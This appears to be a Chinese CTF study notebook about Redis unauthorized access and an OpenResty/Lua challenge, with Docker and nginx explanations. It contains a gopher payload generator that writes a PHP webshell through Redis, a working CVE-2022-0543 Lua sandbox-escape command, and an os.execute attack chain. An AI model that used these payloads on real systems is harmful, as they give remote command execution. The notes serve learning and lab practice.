*4\r # 数组长度4:修改Redis持久化文件名为shell.php
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r # 字符串长度9:"shell.php"的字符数
shell.php\r # 持久化文件名:写入web目录下的shell.php
*1\r # 执行save命令,强制将PHP木马写入shell.php文件
$4\r
save\r
"""
# 6. URL编码处理:同反向Shell的编码规则
finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
# 7. 输出最终的gopher攻击链接
print "\033[93m" +"\nYour gopher link is Ready to get PHP Shell: \n"+ "\033[0m"
print "\033[04m" +"gopher://127.0.0.1:6379/_" + finalpayload+ "\033[0m"
# 提示用户:攻击成功后可通过 http://目标IP/shell.php?cmd=命令 执行任意系统命令
print "\033[01m"+"\nWhen it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter. "+ "\033[0m"
print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m"
# 主交互逻辑:选择攻击类型
print "\033[01m"+"\nReady To get SHELL\n"+ "\033[0m"
# 接收用户选择:反向Shell或PHPShell
what = raw_input("\033[35m" +"What do you want?? (ReverseShell/PHPShell): "+ "\033[0m")
# 统一转为小写,避免大小写输入错误
what = what.lower()
# 匹配"rev"关键词(ReverseShell),执行反向Shell生成函数
if("rev" in what):
get_Redis_ReverseShell()
# 匹配"php"关键词(PHPShell),执行PHP木马生成函数
elif("php" in what):
get_Redis_PHPShell()
# 输入错误时提示并退出
else:
print "\033[93m" +"Plz choose between those two"+ "\033[0m"
exit()
但是它好像只url编码了一次
写shell的
确实只编码了一次

手动在编码一次成功



这有个lua的
Redis安全漏洞全解析:未授权访问、主从复制原理分析与本地靶场实战(超详细)_redis主从复制漏洞-CSDN博客
环境搭建不起来,简单分析一下吧
文档中详细介绍的 Lua 相关漏洞是 Redis Lua 沙盒绕过命令执行漏洞(CVE-2022-0543),该漏洞是 Redis 中典型的脚本执行权限逃逸漏洞,以下从核心原理、利用条件、漏洞验证、攻击演示及防御措施五个维度展开说明:
一、漏洞核心原理
Redis 从 2.6.0 版本开始内置 Lua 脚本引擎,支持通过EVAL/EVALSHA命令执行 Lua 脚本,用于实现复杂原子操作。为保障安全,Redis 对 Lua 环境做了沙盒限制:默认禁用os.execute、io.popen等危险函数,禁止脚本直接调用系统命令或操作文件。
但该沙盒存在设计缺陷:未完全限制 Lua 的package.loadlib函数—— 攻击者可通过该函数加载系统自带的 Lua 标准库(如liblua5.1.so.0),恢复被禁用的io模块(包含io.popen函数),进而执行任意系统命令,实现权限逃逸。
简单来说:沙盒仅禁用了危险函数的直接调用,但未阻止攻击者通过加载外部库 “绕过限制、重建危险功能”。
二、漏洞利用条件
- Redis 环境配置:保护模式关闭(
protected-mode no)、未设置访问密码(requirepass为空),或攻击者已获取 Redis 访问权限; - 网络可达:攻击者能访问 Redis 服务端口(默认 6379);
- 函数可用性:Redis 的 Lua 环境中
package.loadlib函数未被禁用(默认可用); - 系统依赖:目标服务器存在 Lua 标准库文件(如 Linux 系统的
/usr/lib/x86_64-linux-gnu/liblua5.1.so.0)。
三、漏洞验证步骤
1. 环境信息收集
通过 Redis 客户端连接目标服务后,执行以下命令获取关键配置:
# 查看Redis版本、操作系统等信息
info
# 检查保护模式、绑定地址、存储目录等配置
CONFIG GET protected-mode
CONFIG GET bind
CONFIG GET dir
# 验证危险函数是否被禁用(核心验证步骤)
EVAL 'return type(package.loadlib)' 0 # 返回"function"说明可用
EVAL 'return type(os)' 0 # 返回"nil"说明os模块被禁用
EVAL 'return type(io)' 0 # 返回"nil"说明io模块被禁用
若package.loadlib为可用状态(返回function),且保护模式关闭、无密码认证,则漏洞可被利用。
2. 靶场环境示例
文档中使用 Vulfocus 靶场搭建测试环境:
- 靶机地址:
192.168.100.104,映射端口29521(对应 Redis 默认 6379 端口); - Redis 版本:5.0.7(受该漏洞影响);
- 关键配置:
protected-mode no、bind 0.0.0.0、无密码。
四、漏洞攻击演示(仅用于合法测试)
文档中提供了两种利用方式,核心为「Lua 沙盒绕过」:
方式一:直接加载 Lua 库执行命令
通过package.loadlib加载系统 Lua 库,恢复io.popen函数,执行id/whoami等命令,Payload 如下:
redis
# 执行id命令,获取当前用户权限
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
- 执行结果:返回
uid=0(root) gid=0(root) groups=0(root),说明已获取 root 权限; - 命令解析:
package.loadlib(库路径, "luaopen_io"):加载 Lua 的io模块;io.popen("id", "r"):执行系统命令id,以只读模式获取输出;f:read("*a"):读取命令输出结果并返回。
同理,执行whoami命令可直接返回root,证实命令执行成功。
不知道为啥centos的小皮面板在centos无法登录,要别的地方比如物理机才能
打这个
【Web】软件系统安全赛CachedVisitor——记一次二开工具的经历_软件安全攻防赛-cachedvisitor-CSDN博客
没错,去年的软件赛的题,就是为了这个学的redis未授权
搭建了半天的环境,烦死人这环境搭建。

dockerfile
FROM openresty/openresty:bionic
ARG RESTY_LUAROCKS_VERSION="3.11.0"
RUN DEBIAN_FRONTEND=noninteractive apt-get update \
&& DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
curl \
libcurl4-openssl-dev \
make \
unzip \
wget \
lsb-release \
gpg \
&& cd /tmp \
&& curl -fSL https://luarocks.github.io/luarocks/releases/luarocks-${RESTY_LUAROCKS_VERSION}.tar.gz -o luarocks-${RESTY_LUAROCKS_VERSION}.tar.gz \
&& tar xzf luarocks-${RESTY_LUAROCKS_VERSION}.tar.gz \
&& cd luarocks-${RESTY_LUAROCKS_VERSION} \
&& ./configure \
--prefix=/usr/local/openresty/luajit \
--with-lua=/usr/local/openresty/luajit \
--with-lua-include=/usr/local/openresty/luajit/include/luajit-2.1 \
&& make build \
&& make install \
&& cd /tmp \
&& rm -rf luarocks-${RESTY_LUAROCKS_VERSION} luarocks-${RESTY_LUAROCKS_VERSION}.tar.gz
ENV LUA_PATH="/usr/local/openresty/site/lualib/?.ljbc;/usr/local/openresty/site/lualib/?/init.ljbc;/usr/local/openresty/lualib/?.ljbc;/usr/local/openresty/lualib/?/init.ljbc;/usr/local/openresty/site/lualib/?.lua;/usr/local/openresty/site/lualib/?/init.lua;/usr/local/openresty/lualib/?.lua;/usr/local/openresty/lualib/?/init.lua;./?.lua;/usr/local/openresty/luajit/share/luajit-2.1/?.lua;/usr/local/share/lua/5.1/?.lua;/usr/local/share/lua/5.1/?/init.lua;/usr/local/openresty/luajit/share/lua/5.1/?.lua;/usr/local/openresty/luajit/share/lua/5.1/?/init.lua"
ENV LUA_CPATH="/usr/local/openresty/site/lualib/?.so;/usr/local/openresty/lualib/?.so;./?.so;/usr/local/lib/lua/5.1/?.so;/usr/local/openresty/luajit/lib/lua/5.1/?.so;/usr/local/lib/lua/5.1/loadall.so;/usr/local/openresty/luajit/lib/lua/5.1/?.so"
RUN /usr/local/openresty/luajit/bin/luarocks install Lua-cURL CURL_INCDIR=/usr/include/x86_64-linux-gnu/ && \
opm get openresty/lua-resty-redis
COPY nginx.conf /usr/local/openresty/nginx/conf/nginx.conf
COPY index.html /usr/local/openresty/nginx/html/index.html
COPY main.lua /usr/local/openresty/nginx/lua/main.lua
RUN mkdir /scripts
COPY scripts/* /scripts
RUN chmod +x -R /scripts
RUN curl -fsSL https://packages.redis.io/gpg | gpg --dearmor -o /usr/share/keyrings/redis-archive-keyring.gpg \
&& echo "deb [signed-by=/usr/share/keyrings/redis-archive-keyring.gpg] https://packages.redis.io/deb $(lsb_release -cs) main" | tee /etc/apt/sources.list.d/redis.list \
&& apt update \
&& apt install redis language-pack-id -y
COPY redis.conf /redis.conf
COPY start.sh /
RUN chmod +x /start.sh
COPY flag /flag
COPY readflag /readflag
RUN chmod 400 /flag
RUN chmod +xs /readflag
EXPOSE 80
CMD ["/start.sh"]
1️⃣ Dockerfile 是什么
-
Dockerfile 就是 容器的配方,写了从哪来的基础镜像、装了哪些软件、拷贝哪些文件、容器怎么启动。
-
你理解成做一道菜的“食谱”:先选材料(基础镜像 + apt install),然后加工(COPY、RUN),最后上桌(CMD/EXPOSE)。
2️⃣ 基础镜像和镜像层
FROM openresty/openresty:bionic
-
镜像是现成的“操作系统+软件包”,这里是 Ubuntu 18.04 + OpenResty。
-
Docker 会把每个 RUN/COPY/ADD 产生的修改做成 镜像层,方便缓存和复用。
3️⃣ 安装依赖
RUN apt-get update && apt-get install -y curl make ...
-
RUN 就是 在容器里执行命令。
-
每个 RUN 都会生成一层新的镜像。
-
这里安装了系统工具、Redis、LuaRocks 等。
4️⃣ 复制文件到容器
COPY nginx.conf /usr/local/openresty/nginx/conf/nginx.conf
COPY index.html /usr/local/openresty/nginx/html/index.html
-
COPY 会把宿主机的文件放到镜像里指定路径。
-
这就是把 Web 页、Lua 脚本、SUID flag 程序带进容器。
5️⃣ 环境变量
ENV LUA_PATH="..."
-
ENV 是给容器设置环境变量。
-
运行容器时,里面程序会用到这些路径或配置。
6️⃣ 权限操作
RUN chmod 400 /flag
RUN chmod +xs /readflag
-
chmod 改变文件权限,+x 是可执行,+s 是 SUID。
-
Docker 会保持这些权限,当你启动容器后,用户访问文件就是这个权限。
7️⃣ 端口和启动命令
EXPOSE 80
CMD ["/start.sh"]
-
EXPOSE 只是标记端口,告诉外界“这个容器服务在 80 端口”,不自动开放。
-
CMD 是容器启动时执行的命令,相当于容器的入口点。
8️⃣ 总结 Docker 逻辑
-
FROM → 基础镜像
-
RUN → 执行安装命令,生成新镜像层
-
COPY → 把文件拷贝进镜像
-
ENV → 设置环境变量
-
EXPOSE → 容器服务端口标记
-
CMD → 容器启动执行的脚本
⚡ 换句话说,Dockerfile 描述了 “镜像如何做出来 + 容器启动后做什么”。
RUN 就是 在容器里执行命令。容器是啥,复制文件到容器是把物理机的文件吗,ENV是啥,RUN chmod 400 /flag 这是linux命令啊 EXPOSE 80 CMD ["/start.sh"] 这两个没看懂,不开放那咋连, cat start.sh #!/bin/bash redis-server /redis.conf openresty -g 'daemon off;' 这啥意思
明白,你现在想先搞懂 Docker 的基本概念 + 容器里这些命令到底干啥,那我一步步拆给你:
1️⃣ 容器是什么
-
容器就像 一个轻量级虚拟机,但比 VM 更轻,它和宿主机共用内核。
-
可以把容器理解成 一个独立的沙箱,里面有自己的文件系统、程序和环境。
-
Dockerfile 就是告诉 Docker “我要做一个容器,里面放什么东西、怎么启动”。
💡 举例:
-
宿主机(你的电脑)上有 Linux 系统。
-
Docker 容器里也有 Linux 系统,但你改里面的文件,不会影响宿主机。
-
你可以启动多个一模一样的容器,每个容器都是独立的环境。
2️⃣ RUN 就是执行命令
RUN apt-get install curl
-
RUN 就是在 构建镜像时,在容器临时环境里执行 Linux 命令。
-
执行完后,Docker 会把结果打包成镜像层。
-
不是运行容器时执行,而是做镜像时执行。
3️⃣ COPY 是把宿主机的文件放到镜像里
COPY nginx.conf /usr/local/openresty/nginx/conf/nginx.conf
-
宿主机有 nginx.conf 文件。
-
COPY 会把它放到镜像里的
/usr/local/openresty/nginx/conf/。 -
这样容器启动后就能用你提供的配置文件。
-
类似于“把文件放进容器的文件夹里”。
4️⃣ ENV 是环境变量
ENV LUA_PATH="..."
-
ENV 就是给容器里的程序设置 环境变量。
-
程序启动时会读取这些变量,知道去哪里找库或者配置。
-
类似 Linux 里的:
export LUA_PATH="/some/path"
5️⃣ chmod /flag 是 Linux 权限
RUN chmod 400 /flag
RUN chmod +xs /readflag
-
/flag只能读,普通用户不能写,也不能执行。 -
/readflag加了 SUID,普通用户执行它就能 以文件拥有者身份运行。 -
这是 CTF 常用的权限玩法。
6️⃣ EXPOSE 端口和 CMD 启动
EXPOSE 80
CMD ["/start.sh"]
-
EXPOSE 80
-
只是告诉 Docker 这个容器提供服务在 80 端口。
-
不会自动开放给宿主机访问。
-
想让宿主机访问,要用
docker run -p 8080:80把宿主机的 8080 端口映射到容器的 80。
-
-
CMD ["/start.sh"]
-
容器启动时执行
/start.sh。 -
start.sh 内容:
-
#!/bin/bash
redis-server /redis.conf
openresty -g 'daemon off;'
-
redis-server /redis.conf→ 启动 Redis 服务,用指定配置文件。 -
openresty -g 'daemon off;'→ 启动 OpenResty(Nginx + Lua),daemon off;表示 不要后台运行,保持容器主进程在前台。
-
CMD 就是容器启动后的“主程序”,如果主程序挂了,容器就会停止。
✅ 总结容器里这些命令:
| Dockerfile 指令 | 容器里的作用 |
|---|---|
| RUN | 构建镜像时执行命令,安装软件、配置环境 |
| COPY | 把宿主机文件放到容器里 |
| ENV | 设置环境变量,程序启动时会用 |
| RUN chmod | 改容器文件权限 |
| EXPOSE | 告诉 Docker 端口号,只是标记 |
| CMD | 容器启动时执行的脚本,控制主进程 |
1️⃣ 基础镜像和依赖
FROM openresty/openresty:bionic
ARG RESTY_LUAROCKS_VERSION="3.11.0"
-
使用 OpenResty(Nginx + LuaJIT),基于 Ubuntu 18.04(bionic)。
-
LuaRocks 是 Lua 的包管理器,这里指定版本 3.11.0。
RUN apt-get update && apt-get install -y curl libcurl4-openssl-dev make unzip wget lsb-release gpg
-
安装了编译和系统工具,为 Lua 扩展、Redis 安装做准备。
2️⃣ Lua 和 OpenResty 配置
RUN ./configure --prefix=/usr/local/openresty/luajit ...
RUN make build && make install
-
编译并安装 LuaRocks 到 OpenResty 的 LuaJIT 路径下。
-
设置了环境变量
LUA_PATH和LUA_CPATH,告诉 Lua 在哪些路径找模块和共享库。
RUN /usr/local/openresty/luajit/bin/luarocks install Lua-cURL
opm get openresty/lua-resty-redis
-
安装 Lua-cURL 和 lua-resty-redis,说明这个题目可能会用 Lua 脚本访问 HTTP 或 Redis。
3️⃣ Web 靶机文件
COPY nginx.conf /usr/local/openresty/nginx/conf/nginx.conf
COPY index.html /usr/local/openresty/nginx/html/index.html
COPY main.lua /usr/local/openresty/nginx/lua/main.lua
-
nginx.conf → Nginx 配置
-
index.html → 静态首页
-
main.lua → Web 的核心逻辑,Lua 写的后台脚本
⚠️ 重点:main.lua是题目漏洞的潜在入口,需要阅读。
4️⃣ 脚本和权限
COPY scripts/* /scripts
RUN chmod +x -R /scripts
-
额外工具或脚本放在
/scripts下,可执行。
COPY flag /flag
COPY readflag /readflag
RUN chmod 400 /flag
RUN chmod +xs /readflag
-
/flag → 只读,存放真正 flag。
-
/readflag → 设置了 SUID/SGID,可以被普通用户执行获取 flag。
⚠️ 这是最典型的 CTF 权限漏洞点:SUID 程序通常是题目的关键。
5️⃣ Redis 安装与配置
RUN apt install redis
COPY redis.conf /redis.conf
-
容器里运行 Redis,并用自定义配置。
-
Lua 脚本中可能会访问 Redis(通过 lua-resty-redis),这也是潜在的漏洞入口,例如 未授权访问 或 命令注入。
6️⃣ 启动逻辑
COPY start.sh /
RUN chmod +x /start.sh
CMD ["/start.sh"]
-
start.sh启动 Nginx + Redis。 -
题目环境启动后,容器会在 80 端口提供 Web 服务。
7️⃣ 暴露端口
EXPOSE 80
-
外部访问端口就是 Web 端口。
🔑 你需要重点掌握
-
Lua 脚本逻辑 (
main.lua) → 潜在漏洞点(SSRF、命令执行、Redis 注入)。 -
SUID 程序 (
/readflag) → flag 获取方式。 -
Redis 配置 → 可能的未授权访问或命令注入。
-
Web 路径映射 →
/scripts、index.html、Lua 脚本。 -
权限设置 → 了解谁可以访问 flag、脚本、Redis。
🔴 第一优先级(必看)
| 文件 | 为什么重要 | 看什么 |
|---|---|---|
main.lua |
核心业务逻辑 | SSRF 点、用户输入处理、Redis 操作 |
nginx.conf |
路由和入口 | 哪些路径映射到 Lua、是否有隐藏路由 |
index.html |
前端交互 | 功能点、API 端点、隐藏的 JS 代码 |
🟠 第二优先级(关键配置)
| 文件 | 为什么重要 | 看什么 |
|---|---|---|
start.sh |
启动顺序 | 服务启动方式、环境变量、是否有初始化逻辑 |
redis.conf |
Redis 安全配置 | 是否绑定 0.0.0.0、是否设密码、保护模式 |
scripts/* |
辅助脚本 | 定时任务、初始化数据、后门逻辑 |
🟡 第三优先级(辅助分析)
| 文件 | 为什么重要 | 看什么 |
|---|---|---|
readflag |
SUID 提权程序 | 逆向分析(如果是二进制)、字符串信息 |
/flag |
目标文件 | 只是确认存在,内容需要提权读取 |
| Dockerfile | 全局视角 | 已分析过,确认组件版本和安装逻辑 |
#main.lua
local function read_file(filename)
local file = io.open(filename, "r")
if not file then
print("Error: Could not open file " .. filename)
return nil
end
local content = file:read("*a")
file:close()
return content
end
local function execute_lua_code(script_content)
local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
if lua_code then
local chunk, err = load(lua_code)
if chunk then
local success, result = pcall(chunk)
if not success then
print("Error executing Lua code: ", result)
end
else
print("Error loading Lua code: ", err)
end
else
print("Error: No valid Lua code block found.")
end
end
local function main()
local filename = "/scripts/visit.script"
local script_content = read_file(filename)
if script_content then
execute_lua_code(script_content)
end
end
main()
Lua 是什么
-
Lua 是一种 轻量级脚本语言,在 OpenResty 里常用来写 Web 后端逻辑。
-
OpenResty = Nginx + LuaJIT → 可以在 Web 服务里直接写 Lua 脚本处理请求。
-
main.lua就是 这个容器里的 Web 服务逻辑。
代码结构图解
main() 启动
│
▼
read_file("/scripts/visit.script") ──► 读取文件内容
│
▼
execute_lua_code(内容) ──► 提取 ##LUA_START##...##LUA_END## 之间的代码
│
▼
load(lua_code) ──► 编译并执行(💣 漏洞点!)
逐行解析 + CTF 关注点
1. 文件读取函数
local function read_file(filename)
local file = io.open(filename, "r") -- 【CTF】以只读模式打开
if not file then -- 文件不存在返回 nil
return nil
end
local content = file:read("*a") -- 【CTF】"*a" = 读取全部内容
file:close()
return content -- 返回文件内容(字符串)
end
| 语法 | 含义 | CTF 关注 |
|---|---|---|
io.open(path, "r") |
只读打开文件 | 只能读,不能写 |
file:read("*a") |
读取整个文件 | 配合其他漏洞读 /flag? |
file:close() |
关闭文件句柄 | - |
关键发现: 这个函数只读,所以漏洞不在写文件,而是执行!
2. 代码执行函数(💣 漏洞核心)
local function execute_lua_code(script_content)
-- 从内容中提取标记之间的代码
local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
if lua_code then
local chunk, err = load(lua_code) -- 【CTF】💣 任意代码执行!
if chunk then
local success, result = pcall(chunk) -- 执行代码
| 语法 | 含义 | CTF 关注 |
|---|---|---|
string:match("A(.-)B") |
正则提取 A 和 B 之间的内容 | 标记格式 ##LUA_START##...##LUA_END## |
load(string) |
把字符串当 Lua 代码编译 | 💣 任意代码执行漏洞! |
pcall(function) |
保护调用(出错不崩溃) | 确保利用成功 |
漏洞本质:
-- 如果 visit.script 内容是:
##LUA_START##os.execute('id')##LUA_END##
-- 那么:
lua_code = "os.execute('id')" -- 提取结果
load("os.execute('id')")() -- 执行系统命令!
3. 主函数
local function main()
local filename = "/scripts/visit.script" -- 【CTF】固定路径!
local script_content = read_file(filename)
if script_content then
execute_lua_code(script_content) -- 触发漏洞
end
end
main()
| 点 | CTF 含义 |
|---|---|
路径固定 /scripts/visit.script |
必须控制这个文件的内容 |
| 无过滤 | 内容直接进 load() |
CTF 攻击链(关键问题)
攻击者需要做到:
│
▼
┌─────────────────────────┐
│ 写入 /scripts/visit.script │
│ 内容:##LUA_START##os.execute('/readflag')##LUA_END##
└─────────────────────────┘
│
▼
访问 /visit → Nginx 执行 main.lua → 执行 readflag → 获得 flag
核心问题:怎么写入 visit.script?
由于 main.lua 只有读权限,必须通过其他方式写入:
| 可能途径 | 检查方法 |
|---|---|
| Redis 写文件 | 看 index.html 是否有 SSRF 点 |
| 文件上传功能 | 看前端是否有上传表单 |
| 其他脚本/定时任务 | 看 scripts/ 目录其他文件 |
| 日志污染 | 看是否把 UA/Referer 写入日志再包含 |
你需要立即做的事
# 1. 看前端有什么功能(上传?URL访问?)
cat index.html
# 2. 看 scripts 目录有什么
ls -la /scripts/
cat /scripts/* 2>/dev/null
# 3. 检查 Redis 相关
# 看 Dockerfile 里有 redis,找谁连它
一句话总结
这段代码的漏洞是
load()函数执行任意 Lua 代码。但前提是你能控制/scripts/visit.script的内容。CTF 现在变成:找其他入口(上传/SSRF/Redis)来写入这个文件!
快贴 index.html 和 scripts 目录内容!
1️⃣ OpenResty 是什么?
-
OpenResty = Nginx + LuaJIT + 一堆扩展模块
-
它的核心是 Nginx(Web 服务器),但 嵌入了 Lua 脚本引擎
-
为什么嵌入 Lua?
-
Nginx 原生只会做“转发、路由、静态文件”
-
想做 动态 Web 逻辑(处理请求、数据库、Redis)
-
如果每次都用 CGI 或外部语言,性能很差
-
Lua 是轻量、高效、可嵌入的语言 → 完美结合 Nginx
-
2️⃣ Lua 在 OpenResty 的作用
-
处理 HTTP 请求
用户 → Nginx → Lua 脚本 → 响应用户
-
操作数据库 / Redis
-
用 lua-resty-redis 访问 Redis
-
用 Lua 做缓存、存储、业务逻辑
-
-
动态生成内容
-
Lua 可以直接返回 HTML、JSON
-
-
执行沙箱逻辑
-
例如 CTF 中执行
/scripts/visit.script里的 Lua 代
-
1️⃣ 相似点(Lua ↔ PHP)
| 对比 | Lua(在 OpenResty 里) | PHP |
|---|---|---|
| 用途 | 处理 Web 请求、生成动态内容 | 处理 Web 请求、生成动态内容 |
| 嵌入服务器 | 嵌入 Nginx / OpenResty | 嵌入 Apache / Nginx (via FPM) |
| 操作数据库 / Redis | 支持,通过扩展模块 | 支持,通过 PDO / Redis 扩展 |
| 动态脚本执行 | 可以在请求时执行 Lua 代码 | 可以在请求时执行 PHP 代码 |
💡 也就是说,在 CTF 中,Lua 就像 PHP 一样是 Web 后端语言,负责处理请求、操作资源。
2️⃣ 主要区别
| 特点 | Lua / OpenResty | PHP |
|---|---|---|
| 性能 | LuaJIT 超快,嵌入 Nginx,事件驱动高并发 | PHP 单线程 + FPM,多进程模型 |
| 嵌入方式 | Lua 是轻量语言直接嵌入 Nginx 核心 | PHP 需要 CGI / FPM 进程通信 |
| 语法轻量 | 极简,函数式、灵活、没有类也可以做对象 | 比较复杂,有类、命名空间 |
| 使用场景 | 高性能 Web / 缓存 / Lua 脚本执行 | 普通动态网站 / CMS |
3️⃣ 直观比喻
-
PHP = “普通 Web 后端语言”
-
Lua + OpenResty = “嵌入 Nginx 的轻量 Web 后端语言”,它就是 Nginx 的 可编程大脑
所以在 CTF 里,你看到的
main.lua就像 PHP 的index.php,负责处理用户请求、访问 Redis、操作文件,甚至可能触发漏洞。
好的,我先讲 Lua 和 OpenResty 的基础框架,帮你理解这个环境。
一、Lua 语言极简入门
1. Lua 是什么?
-
轻量级脚本语言,嵌入到 Nginx 里就是 OpenResty
-
语法简单,类似 Python/JavaScript
-
核心:变量、函数、字符串操作、文件 IO
2. 关键语法(看这题够用)
-- 变量(默认全局,local 是局部)
local x = "hello" -- 字符串
local n = 123 -- 数字
local t = {a=1, b=2} -- 表(类似字典/对象)
-- 字符串操作
local s = "##LUA_START##code##LUA_END##"
local result = s:match("##LUA_START##(.-)##LUA_END##")
-- result = "code" (提取中间内容)
-- 函数
local function foo(arg)
return arg * 2
end
-- 执行字符串代码(危险!)
load("return 1+1")() -- 返回 2
load("os.execute('id')")() -- 执行系统命令!
-- 文件操作
local f = io.open("/path", "r") -- 打开读
local content = f:read("*a") -- 读取全部
f:close()
-- 执行系统命令
os.execute("ls -la") -- 执行 shell 命令
io.popen("whoami"):read() -- 执行并获取输出
nginx.conf
终极 Nginx 配置指南(全网最详细)_nginx.conf配置-CSDN博客
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 80;
server_name localhost;
location / {
root html;
index index.html;
}
location /visit {
default_type text/plain;
content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}
lua_code_cache off;
}
}
1️⃣ 基础配置
```nginx
events {
worker_connections 1024;
}
events:Nginx 事件处理模块配置worker_connections 1024:单个 worker 进程最大并发连接数- 说明:此配置决定 Nginx 并发性能,CTF 中通常保持默认
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
}
http:Web 服务核心配置块include mime.types:加载常见文件类型定义default_type:默认响应类型为二进制流sendfile:启用高效文件传输模式keepalive_timeout:TCP 连接保持时长(秒)
2️⃣ 服务端配置
server {
listen 80;
server_name localhost;
}
server:定义虚拟主机配置listen 80:监听标准 HTTP 端口server_name:默认使用本地主机名
3️⃣ 路径处理
a) 静态资源
location / {
root html;
index index.html;
}
/:根路径请求处理root:静态文件根目录(默认路径为/usr/local/openresty/nginx/html/)index:默认返回 index.html 文件
b) 动态处理
location /visit {
default_type text/plain;
content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}
/visit:动态请求路径content_by_lua_file:交由指定 Lua 脚本处理请求default_type:响应内容类型设为纯文本- 关键点:该配置为 CTF 漏洞入口,
main.lua会读取并执行/scripts/visit.script中的代码
4️⃣ Lua 缓存设置
lua_code_cache off;
- 默认值:开启缓存提升性能
off:禁用缓存,每次请求重新加载脚本- CTF 用途:便于即时生效脚本修改,无需重启服务
1️⃣ 基础配置
```nginx
events {
worker_connections 1024;
}
events:Nginx 事件处理模块配置worker_connections 1024:单个 worker 进程最大并发连接数- 说明:此配置决定 Nginx 并发性能,CTF 中通常保持默认
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
}
http:Web 服务核心配置块include mime.types:加载常见文件类型定义default_type:默认响应类型为二进制流sendfile:启用高效文件传输模式keepalive_timeout:TCP 连接保持时长(秒)
2️⃣ 服务端配置
server {
listen 80;
server_name localhost;
}
server:定义虚拟主机配置listen 80:监听标准 HTTP 端口server_name:默认使用本地主机名
3️⃣ 路径处理
a) 静态资源
location / {
root html;
index index.html;
}
/:根路径请求处理root:静态文件根目录(默认路径为/usr/local/openresty/nginx/html/)index:默认返回 index.html 文件
b) 动态处理
location /visit {
default_type text/plain;
content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}
/visit:动态请求路径content_by_lua_file:交由指定 Lua 脚本处理请求default_type:响应内容类型设为纯文本- 关键点:该配置为 CTF 漏洞入口,
main.lua会读取并执行/scripts/visit.script中的代码
4️⃣ Lua 缓存设置
lua_code_cache off;
- 默认值:开启缓存提升性能
off:禁用缓存,每次请求重新加载脚本- CTF 用途:便于即时生效脚本修改,无需重启服务
1️⃣ Lua 在 OpenResty 中
配置示例
location /visit {
content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}
-
/visit→ 路由匹配 Nginx -
直接调用 Lua 脚本(
main.lua)处理请求 -
Lua 脚本可以:
-
读取文件
/scripts/visit.script -
操作 Redis
-
返回响应
-
💡 特点:
-
Lua 嵌入 Nginx 内核
-
请求到 Nginx → 直接走 Lua 脚本
-
没有额外进程,效率高
-
Lua 脚本就是“路由 + 控制器 + 业务逻辑”的集合
2️⃣ PHP 在 Nginx 中
配置示例
location ~ \.php$ {
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
}
-
Nginx 路由匹配
.php文件 -
转发请求到 PHP-FPM 外部进程
-
PHP-FPM 执行脚本 → 返回结果给 Nginx → 再响应用户
💡 特点:
-
PHP 不是内置 Nginx 的
-
Nginx 只做 路由 + 代理
-
PHP-FPM 执行脚本,相当于外部“处理器”
-
Lua 不需要额外进程,PHP 需要 FPM
3️⃣ 总结对比
| 特性 | Lua / OpenResty | PHP / Nginx + FPM |
|---|---|---|
| 执行方式 | 嵌入 Nginx 内核 | 外部进程 FPM |
| 路由 | location → Lua 脚本直接处理 | location → 转发到 PHP-FPM |
| 响应用户 | Lua 脚本直接输出 | PHP-FPM 执行 → 返回 Nginx → 用户 |
| 性能 | 高,轻量,事件驱动 | 中等,多进程模型 |
| 漏洞实验 | 直接在请求层执行 Lua 代码 | PHP 文件逻辑漏洞(文件包含、上传、SQLi) |
4️⃣ 一句话理解
-
Lua = 路由 + 逻辑直接在 Nginx 内核执行
-
PHP = 路由在 Nginx,逻辑在 FPM 外部执行
所以你看到 OpenResty CTF 里 /visit 就直接调用 main.lua,而 PHP 网站里需要 Nginx 把请求转给 PHP-FPM。
1️⃣ 基本概念梳理
在理解配置之前,我们先明确几个“对象”:
| 对象 | 是什么 | 作用 / 举例 |
|---|---|---|
| Nginx | 高性能 Web 服务器 | 接收用户 HTTP 请求、返回网页、转发请求 |
| OpenResty | Nginx + LuaJIT + 扩展模块 | 可以直接在 Nginx 内核里执行 Lua 脚本 |
| Lua | 轻量级脚本语言 | 编写 Web 后端逻辑,处理请求、访问 Redis / 文件 |
| HTTP 请求 | 浏览器或客户端发送的数据包 | 包含 URL、方法(GET/POST)、参数、Cookies 等 |
| location | Nginx 配置里的路由块 | 告诉 Nginx URL 的访问规则,比如静态文件还是 Lua 脚本 |
| index.html | 静态网页 | 当用户访问 / 时显示内容 |
| main.lua | Lua 脚本文件 | 动态处理请求,CTF 漏洞入口 |
| worker_connections | Nginx 配置参数 | 每个 worker 同时能处理多少个连接 |
2️⃣ nginx.conf 分块讲解
events {
worker_connections 1024;
}
-
events 模块:
-
Nginx 用事件驱动处理请求
-
worker_connections 1024→ 每个 worker 最多同时处理 1024 个用户请求
-
-
对象:
-
worker_connections→ 一个参数,数值对象 -
Nginx 的 “worker” → 程序内部线程/进程对象
-
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
-
http 模块:
-
配置 Web 服务相关的全局参数
-
-
对象:
-
mime.types→ 文件类型映射表(静态文件返回时用) -
default_type→ 默认返回的 Content-Type -
sendfile→ 系统调用,优化大文件传输 -
keepalive_timeout→ HTTP 长连接超时时间
-
server {
listen 80;
server_name localhost;
-
server 块:
-
定义一个“虚拟主机”,可以理解成一台网站
-
-
对象:
-
listen→ 端口号对象(这里是 80) -
server_name→ 主机名对象
-
2.1 静态文件 location
location / {
root html;
